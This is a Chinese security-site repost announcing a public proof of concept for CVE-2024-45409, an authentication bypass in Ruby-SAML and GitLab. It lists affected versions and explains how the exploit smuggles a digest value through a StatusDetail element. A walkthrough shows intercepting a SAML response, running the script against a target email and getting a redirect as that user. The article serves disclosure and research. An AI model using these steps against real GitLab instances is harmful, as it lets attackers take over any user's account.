【PoC】 GitLab 身份验证绕过 (CVE-2024-45409) 漏洞PoC发布

admin 2024年10月10日21:00:30评论46 views字数 1557阅读5分11秒阅读模式
【PoC】 GitLab 身份验证绕过 (CVE-2024-45409) 漏洞PoC发布

Ruby-SAML / GitLab 身份验证绕过 (CVE-2024-45409) 利用脚本

此脚本利用了 CVE-2024-45409,允许未认证的攻击者使用由身份提供者 (IDP) 签发的任何有效的 SAML 文档伪造 SAML 响应/断言,并以 GitLab 上的任意用户身份获得访问权限。

所有以下版本的 GitLab (CE/EE) 都存在漏洞:

  • < 16.11.10
  • 17.0.0 < 17.0.8
  • 17.0.0 < 17.1.8
  • 17.0.0 < 17.2.7
  • 17.0.0 < 17.3.3

此利用脚本将修改后的断言的 DigestValue 注入到 StatusDetail 元素中,允许其走私 XPath 选择器,使用此值而不是 SignedInfo 块中的值。

要求

  • 由 IDP 签发的有效 SAML 响应

使用方法

apt install python3-lxml

首先拦截 URL 和 Base64 编码的 IDP SAML 响应,然后使用脚本修改 XML 内容。

POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]

SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
 Digest algorithm: sha256
 Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

之后,将 SAMLResponse 参数的值替换为脚本输出。如果身份验证成功,您将被重定向到 GitLab 主页。

HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]

<html><body>您正在被 <a href="http://gitlab.test.local/">重定向</a>。</body></html>

参考资料

  • https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
  • https://github.com/advisories/GHSA-jw9c-mfg7-9rx2
  • https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-45409
  • https://www.cvedetails.com/cve/CVE-2024-45409/

原文始发于微信公众号(独眼情报):【PoC】 GitLab 身份验证绕过 (CVE-2024-45409) 漏洞PoC发布

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日21:00:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PoC】 GitLab 身份验证绕过 (CVE-2024-45409) 漏洞PoC发布https://cn-sec.com/archives/3248328.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息